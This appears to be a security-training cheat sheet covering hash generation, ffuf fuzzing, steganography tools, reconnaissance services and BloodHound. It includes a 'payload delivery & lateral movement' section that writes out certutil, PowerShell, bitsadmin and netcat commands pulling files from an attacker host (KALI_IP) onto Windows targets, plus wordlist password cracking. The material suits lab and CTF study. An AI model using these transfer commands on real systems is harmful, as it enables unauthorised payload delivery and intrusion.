Hashcat can generate hashes using its stdout mode. This is useful for testing hash formats and verifying cracking rules.


hashcat --stdout password1 -a 0 -m 0        # MD5
hashcat --stdout password1 -a 0 -m 100       # SHA-1
hashcat --stdout password1 -a 0 -m 1400      # SHA-256
                             
📌 Coreutils – Raw Hash Digests

These commands generate raw cryptographic digests, not crypt-style password hashes. They are commonly found in databases, APIs, and application source code.


echo -n "password1" | md5sum
echo -n "password1" | sha1sum
echo -n "password1" | sha256sum
echo -n "password1" | sha512sum
                             

📌 Practical Usage Examples

1. Creating a user with specific password hash:

# Generate the hash
HASH=$(openssl passwd -1 -salt THM password1)

# Create user with this hash (requires root)
useradd -m -p "$HASH" testuser
                             

2. Creating htpasswd file for Apache authentication:

openssl passwd -apr1 -salt THM password1 >> .htpasswd
💡 Tip:
-n flag with echo prevents newline from being included in hash
• Salts should be random for production use (8+ characters recommended)
• Modern systems use SHA-512 ($6$) by default for better security
⚠️ Security Considerations:
MD5-based crypt hashes are considered weak and vulnerable to brute force attacks. Always use SHA-256 or SHA-512 for production systems when possible.
🚨 Legal & Ethical Notice:
These techniques should only be used on systems you own or have explicit permission to test. Creating unauthorized password hashes for access attempts is illegal.

Tools.15 FFUF – Web Fuzzing

FFUF (Fuzz Faster U Fool) is a modern and fast web fuzzing tool used to discover hidden content and parameters.

Information Gathering:
FFUF helps identify hidden directories, files, parameters, and virtual hosts in web applications.

How FFUF Works:
FFUF injects wordlist payloads into HTTP requests and analyzes server responses to find valid or interesting results.

How It Is Used:
Commonly used during web enumeration to replace or enhance traditional directory brute-force tools.

ffuf -u http://target/FUZZ -w /usr/share/wordlists/dirb/common.txt

Tools.16 Image Steganography Tools

Steganography is the art of hiding information within other files, such as images. These tools help discover and extract hidden data from image files during CTF challenges and security assessments.

1. Steghide – Hidden Data Extraction

Steghide is a steganography program that hides data in various kinds of image and audio files. It supports JPEG, BMP, WAV, and AU formats, using encryption and password protection.

Steghide is available directly from official Linux repositories.

Installation: Available via Linux package managers or official sources.


# Update package list
sudo apt update

# Install steghide
sudo apt install steghide -y

# Verify installation
steghide --help
                             

Usage: Common commands for using this tool effectively.


# List supported file formats
steghide --help

# Embed data into an image
steghide embed -cf image.jpg -ef secret.txt -p "mypassword"

# Extract hidden data
steghide extract -sf image.jpg -p "mypassword"

# Get information about embedded file
steghide info image.jpg
                             
  • -cf → Carrier file (image to hide data in)
  • -ef → Embedded file (file to hide)
  • -sf → Stegofile (file containing hidden data)
  • -p → Password for encryption/decryption

Advanced Analysis Techniques

For complex steganography challenges, these techniques combine multiple tools:

2. Zsteg – LSB & Bit-Plane Analysis

Zsteg specializes in detecting steganography in PNG and BMP files. It can extract data hidden in different bit planes and color channels.

Installation: Available via Linux package managers or official sources.


# Install Ruby (if not already installed)
sudo apt install ruby-full -y

# Install zsteg
sudo gem install zsteg

# Verify installation
zsteg --help
                             

Usage: Common commands for using this tool effectively.


# Basic detection
zsteg image.png

# Extract data from specific bit plane
zsteg -E "b1,rgb,lsb,xy" image.png > extracted.png

# Check all combinations
zsteg -a image.png

# Extract all possible data
zsteg -e "*" image.png

# Check for specific types
zsteg image.png | grep -i "text\|flag\|secret"
                             
  • -a → Run all detection methods automatically
  • -E → Extract data from a specific bit plane
  • -e "*" → Extract all possible detected data
  • rgb / r / g / b → Analyze specific color channels
  • lsb / msb → Analyze least or most significant bits

3. Binwalk – Embedded File Discovery

Binwalk is essential for finding files embedded within other files, especially in firmware or complex image formats.

Installation: Available via Linux package managers or official sources.


# Install binwalk
sudo apt install binwalk -y

# Install additional extraction dependencies
sudo apt install -y squashfs-tools gzip bzip2 tar arj lzop cpio

# Verify installation
binwalk --help
                             

Usage: Common commands for using this tool effectively.


# Scan for embedded files
binwalk image.jpg

# Extract embedded files
binwalk -e image.jpg

# Deep extraction with recursion
binwalk -Me image.jpg

# Display entropy analysis
binwalk -E image.jpg

# Signature scan only
binwalk -B image.jpg
                             
  • -e → Automatically extract embedded files
  • -M → Enable recursive extraction
  • -E → Perform entropy analysis
  • -B → Signature scan only (no extraction)
  • -D → Extract specific file types

4. Stegcracker – Steghide Password Cracking (GitHub)

Stegcracker automates the process of brute-forcing steghide passwords using wordlists. Essential when you suspect hidden data but don't know the password.

Stegcracker is a Python-based tool and must be installed from GitHub.


# Clone repository
git clone https://github.com/Paradoxis/StegCracker.git

# Move into directory
cd StegCracker

# Install dependencies
pip3 install -r requirements.txt

# If permission / externally-managed error occurs:
pip3 install -r requirements.txt --break-system-packages

# Make executable
chmod +x stegcracker.py

# Verify installation
python3 stegcracker.py --help
                             

Usage: Common commands for using this tool effectively.


# Basic password cracking
stegcracker image.jpg rockyou.txt

# Custom wordlist
stegcracker image.jpg custom_wordlist.txt

# Specify output file
stegcracker image.jpg wordlist.txt -o results.txt

# Show progress
stegcracker image.jpg wordlist.txt -v
                             
  • image.jpg → Image containing steghide-protected data
  • wordlist.txt → Password wordlist for brute-force attack
  • -o → Save cracked password and output to file
  • -v → Enable verbose mode (show progress)

5. StegSolve – Visual Analysis (GUI Tool)

StegSolve is a Java-based GUI tool for visual steganography analysis. It allows manual inspection of different color channels and bit planes.

Installation: Available via Linux package managers or official sources.


# Install Java Runtime
sudo apt install default-jre -y

# Create tools directory
mkdir -p ~/tools
cd ~/tools

# Download StegSolve
wget https://github.com/zardus/ctf-tools/raw/master/stegsolve/stegsolve.jar

# Rename for convenience
mv stegsolve.jar StegSolve.jar

# Run StegSolve
java -jar StegSolve.jar
                             

Usage: Common commands for using this tool effectively.


# Typical usage workflow:
1. Open image in StegSolve
2. Use "Analyze > Frame Browser" to navigate bit planes
3. Try "Analyze > Data Extract" for LSB extraction
4. Check different color channels (Red, Green, Blue, Alpha)
5. Look for patterns in "Image Combiner"

# Common operations:
- Red Plane 0: View LSB of red channel
- Green Plane 0: View LSB of green channel
- Blue Plane 0: View LSB of blue channel
- Alpha Plane 0: View LSB of alpha channel (transparency)
                             
  • Red / Green / Blue Plane → View individual color channels
  • Alpha Plane → Inspect transparency data
  • Frame Browser → Navigate bit-plane layers
  • Data Extract → Extract LSB-embedded data
  • Image Combiner → Combine channels for pattern detection

6. ExifTool – Image Metadata Analysis

ExifTool is used to read, write, and analyze metadata stored in image files. It often reveals hidden comments, software tags, GPS data, or clues left by attackers in CTF challenges.

Installation Process: ExifTool is available in default Linux repositories and can be installed using the package manager.


# Install exiftool
sudo apt update
sudo apt install exiftool -y

# Verify installation
exiftool --help
                             

Usage: Common commands for using this tool effectively.


# Display all metadata
exiftool image.jpg

# Show specific metadata fields
exiftool -Artist -Comment -Software image.jpg

# Extract GPS information (if present)
exiftool -GPSLatitude -GPSLongitude image.jpg

# Show hidden or duplicate tags
exiftool -a -u -g1 image.jpg

# Search for suspicious metadata
exiftool image.jpg | grep -i "comment\|author\|software\|flag"
                             
  • -a → Show duplicate tags
  • -u → Show unknown metadata tags
  • -g → Group output by category
  • -GPS* → Extract GPS-related metadata
  • -Comment → Display comment fields only

7. Foremost – File Carving Tool

Foremost is a forensic file carving tool that extracts embedded files based on headers and footers. It is useful when images contain hidden archives or deleted files.

Installation Process: Foremost is installed directly from system repositories.


# Install foremost
sudo apt install foremost -y

# Verify installation
foremost --help
                             

Usage: Common commands for using this tool effectively.


# Extract embedded files from image
foremost -i image.jpg -o output/

# Specify configuration file
foremost -c /etc/foremost.conf -i image.jpg -o output/

# Enable verbose output
foremost -v -i image.jpg -o output/

# Recover specific file types only (jpg, zip, png)
foremost -t jpg,zip,png -i image.jpg -o output/
                             
  • -i → Input file to analyze
  • -o → Output directory for extracted files
  • -t → Specify file types to extract
  • -v → Enable verbose output
  • -c → Use custom configuration file

8. Strings – Embedded Text Discovery (GNU Coreutils)

Strings extracts printable characters from binary files. It is often used as a quick first check for flags, passwords, or readable data hidden inside images.

Installation Process: Strings is part of GNU Binutils and is usually pre-installed on Kali Linux. If missing, it can be installed manually.


# Install binutils if strings is missing
sudo apt install binutils -y

# Verify installation
strings --help
                             

Usage: Common commands for using this tool effectively.


# Extract readable strings from image
strings image.jpg

# Search for common CTF keywords
strings image.jpg | grep -i "flag\|ctf\|thm\|htb"

# Display strings with offset locations
strings -t x image.jpg

# Limit output to long strings only
strings -n 8 image.jpg

# Save extracted strings to a file
strings image.jpg > extracted_strings.txt
                             
  • -n → Minimum string length to display
  • -t x → Show hexadecimal offset of strings
  • -a → Scan entire file
  • | grep → Filter output for keywords
  • > file.txt → Save output to a file

Image Steganography Tool Suite

Comprehensive toolkit for analyzing and extracting hidden data from image files. Each tool specializes in different steganography techniques and file formats.

# Tool Primary Command Description / Usage
1 Steghide steghide extract -sf image.jpg Hides and extracts encrypted data from image and audio files. Commonly used for password-protected steganography challenges.
2 Zsteg zsteg image.png Detects LSB and bit-plane steganography in PNG and BMP images. Effective for pixel-level hidden data.
3 Binwalk binwalk image.jpg Identifies and extracts embedded files such as ZIPs, executables, and firmware data hidden inside images.
4 Stegcracker stegcracker image.jpg wordlist.txt Brute-forces passwords used by steghide using wordlists. Automatically extracts data after successful cracking.
5 StegSolve java -jar StegSolve.jar GUI-based tool for visual analysis of color channels, bit planes, and LSB-encoded data.
6 ExifTool exiftool image.jpg Extracts metadata such as comments, software tags, timestamps, and GPS information from image files.
7 Foremost foremost -i image.jpg -o output/ Carves embedded files based on file headers and footers. Useful for recovering hidden or deleted content.
8 Strings strings image.jpg | grep -i flag Extracts readable text from binary files. Often used for quick flag or keyword discovery.
💡 Tip:
• Always check file type with file command first – files may be disguised
• Try multiple tools – different tools find different types of hidden data
• Look for password hints in metadata, comments, or the challenge description
• Use xxd or hexdump for manual binary inspection when automated tools fail
⚠️ Tool Installation:
Install these tools on Kali Linux with:
sudo apt install steghide binwalk zsteg exiftool foremost
StegSolve: Download from GitHub and run with java -jar StegSolve.jar
🚨 Legal & Ethical Notice:
Steganography analysis should only be performed on files you own or have explicit permission to analyze. Unauthorized extraction of hidden data from others' files may violate privacy laws and terms of service.

File Transfer Techniques – Payload Delivery & Lateral Movement

File transfer techniques are critical during post-exploitation, lateral movement, and payload delivery. These methods allow attackers or security testers to move tools, scripts, and executables between systems.

In red team operations and CTF environments, multiple transfer methods should be known because firewalls and security controls may block certain protocols.


1. Impacket smbserver – SMB File Hosting

Creates a temporary SMB share to transfer files from Kali to Windows systems. Commonly used when administrative access is available.


# Install impacket
sudo apt update
sudo apt install python3-impacket -y

# Start SMB share
sudo impacket-smbserver kali . -smb2support

# With authentication
sudo impacket-smbserver kali . -user test -password 1234
    
  • kali → Share name
  • . → Current directory
  • -smb2support → Enables SMBv2
  • -user / -password → Add authentication

2. Python HTTP Server – Quick File Hosting

Lightweight HTTP server used when SMB is blocked or restricted.


# Start HTTP server
python3 -m http.server 8000

# Access from Windows
http://KALI_IP:8000/file.exe
    

3. Netcat – Direct TCP File Transfer

Transfers files directly over a TCP connection. Useful in restricted or minimal environments.


# Sender (Kali)
nc -lvnp 4444 < file.exe

# Receiver (Windows)
nc KALI_IP 4444 > file.exe
    
  • -l → Listen mode
  • -v → Verbose output
  • -n → Disable DNS resolution
  • -p → Specify port

4. SCP – Secure Copy (SSH)

Secure file transfer over SSH protocol. Encrypted and commonly used in Linux environments.


# Upload file
scp file.txt user@target_ip:/home/user/

# Download file
scp user@target_ip:/home/user/file.txt .
    

5. FTP / TFTP – Legacy Transfer Methods

Older protocols that may still be enabled on legacy systems.


# Start FTP service (Kali)
sudo service vsftpd start

# Connect
ftp target_ip
    

6. Certutil – Windows Native Download Tool

Built-in Windows utility often used to download payloads.


certutil -urlcache -split -f http://KALI_IP/file.exe file.exe
    
  • -urlcache → Download from URL
  • -split → Split large files
  • -f → Force overwrite

7. PowerShell – Invoke-WebRequest


Invoke-WebRequest "http://KALI_IP/file.exe" -OutFile "file.exe"

# Alternative method
(New-Object Net.WebClient).DownloadFile("http://KALI_IP/file.exe","file.exe")
    

8. Bitsadmin – Background Intelligent Transfer

Uses Windows BITS service to transfer files in the background.


bitsadmin /transfer myJob http://KALI_IP/file.exe C:\Users\Public\file.exe
    
  • /transfer → Create transfer job
  • myJob → Job name
  • URL → Source file
  • Destination → Local save path

File Transfer Tool Comparison

# Tool Protocol Best Use Case
1Impacket smbserverSMB (445)Internal Windows transfer
2Python HTTPHTTP (8000)Quick lightweight hosting
3NetcatTCPRestricted environments
4SCPSSH (22)Encrypted Linux transfer
5FTP/TFTP21 / 69Legacy systems
6CertutilHTTPNative Windows method
7PowerShellHTTPScript-based download
8BitsadminBITS ServiceBackground stealth transfer
💡 Tip:
• Always try multiple transfer methods if one fails
• Use encrypted protocols (SCP/HTTPS) when possible
• Check firewall rules before selecting protocol
• Monitor logs to understand detection risks
🚨 Legal & Ethical Notice:
File transfer techniques must only be used in authorized lab environments or with explicit permission. Unauthorized payload delivery is illegal.

Tools.1 Burp Suite – Web Application Testing (UI)

Burp Suite is a graphical web application security testing platform widely used in CEH to intercept, analyze, and manipulate HTTP and HTTPS traffic between a browser and a web server.

Information Gathering:
Burp Suite captures request and response data including URLs, parameters, cookies, session tokens, headers, authentication details, and application logic flaws.

How Burp Suite Works:
Burp acts as an intercepting proxy. When configured in a browser, all web traffic passes through Burp, allowing the tester to view, modify, and replay requests before they reach the server.

How It Is Used:
Ethical hackers use Burp to test for vulnerabilities such as SQL Injection, XSS, CSRF, authentication bypass, and insecure session handling.

Official URL: https://portswigger.net/burp

Configure browser proxy → Intercept requests → Analyze & test

Tools.2 WHOIS – Domain Registration & Ownership

WHOIS is a web-based information lookup service used to retrieve registration details of a domain or IP address.

Information Gathering:
WHOIS reveals domain owner details, registrar information, registration dates, expiration dates, name servers, and administrative contacts.

How WHOIS Works:
WHOIS queries public domain registration databases maintained by registrars and registry organizations to retrieve ownership metadata.

How It Is Used:
Used in passive reconnaissance to profile a target organization, identify related domains, and understand infrastructure ownership without interacting directly with the target system.

Official URL: https://www.whois.com/

Search domain → Analyze registration & DNS details

Tools.12 Shodan – Asset Search

Shodan is a search engine designed to discover internet-facing devices, servers, and services connected to the public internet.

Information Gathering:
Shodan reveals exposed services, open ports, banners, operating systems, geographic locations, and known vulnerabilities of internet-accessible assets.

How Shodan Works:
Shodan continuously scans the internet by connecting to IP addresses and collecting service banners, which are indexed and searchable through its UI.

How It Is Used:
Ethical hackers use Shodan to identify exposed systems, misconfigured services, IoT devices, and outdated software without directly scanning the target.

Official URL: https://www.shodan.io/

Search filters → Analyze exposed services → Identify risks

Tools.4 Censys – Internet Asset Discovery

Censys is a web-based internet scanning and asset discovery platform used to identify hosts, services, certificates, and exposed infrastructure across the global internet.

Information Gathering:
Censys collects data such as IP addresses, open ports, running services, TLS/SSL certificates, domains, subdomains, and cloud-hosted assets. It is especially useful for discovering HTTPS services and certificate relationships.

How Censys Works:
Censys continuously scans the internet and indexes service metadata and certificate transparency logs. Users can search this indexed data using filters such as IP ranges, domains, ports, protocols, and certificate fields.

How It Is Used:
Ethical hackers use Censys during passive reconnaissance to identify exposed services, forgotten hosts, misconfigured servers, and certificate reuse without sending any traffic to the target organization.

Official URL: https://search.censys.io/

Search domain / IP → Analyze exposed services & certificates

Tools.14 DNSDumpster – DNS & Subdomain Recon

DNSDumpster is a web-based reconnaissance tool used to map DNS infrastructure and discover subdomains of a target domain.

Information Gathering:
DNSDumpster provides subdomains, DNS records (A, MX, NS, TXT), IP addresses, and visual network maps.

How DNSDumpster Works:
It aggregates data from DNS queries, search engines, and passive sources to generate a comprehensive DNS footprint of the target.

How It Is Used:
Used in early reconnaissance to expand the target scope and identify additional hosts for scanning and testing.

Official URL: https://dnsdumpster.com/

Enter domain → Review DNS records & subdomains

Tools.6 BloodHound – Active Directory Attack Path Analysis

BloodHound is a powerful security analysis tool used during Active Directory penetration testing. It helps identify hidden privilege relationships and attack paths within an AD environment.

Information Gathering:
BloodHound collects data about users, groups, computers, sessions, and permissions in an Active Directory domain to build a visual graph of relationships.

How BloodHound Works:
It uses data collectors such as SharpHound (Windows) or BloodHound-python (Linux) to gather AD data. The information is then stored inside a Neo4j graph database, allowing security professionals to visualize complex attack paths and privilege escalation opportunities.

How It Is Used:
BloodHound is commonly used by penetration testers and red teams to identify misconfigured permissions, find lateral movement opportunities, and determine the shortest path to high-value targets such as Domain Admin.

Official URL: https://bloodhound.readthedocs.io/

Collect AD Data → Import into BloodHound → Analyze Attack Paths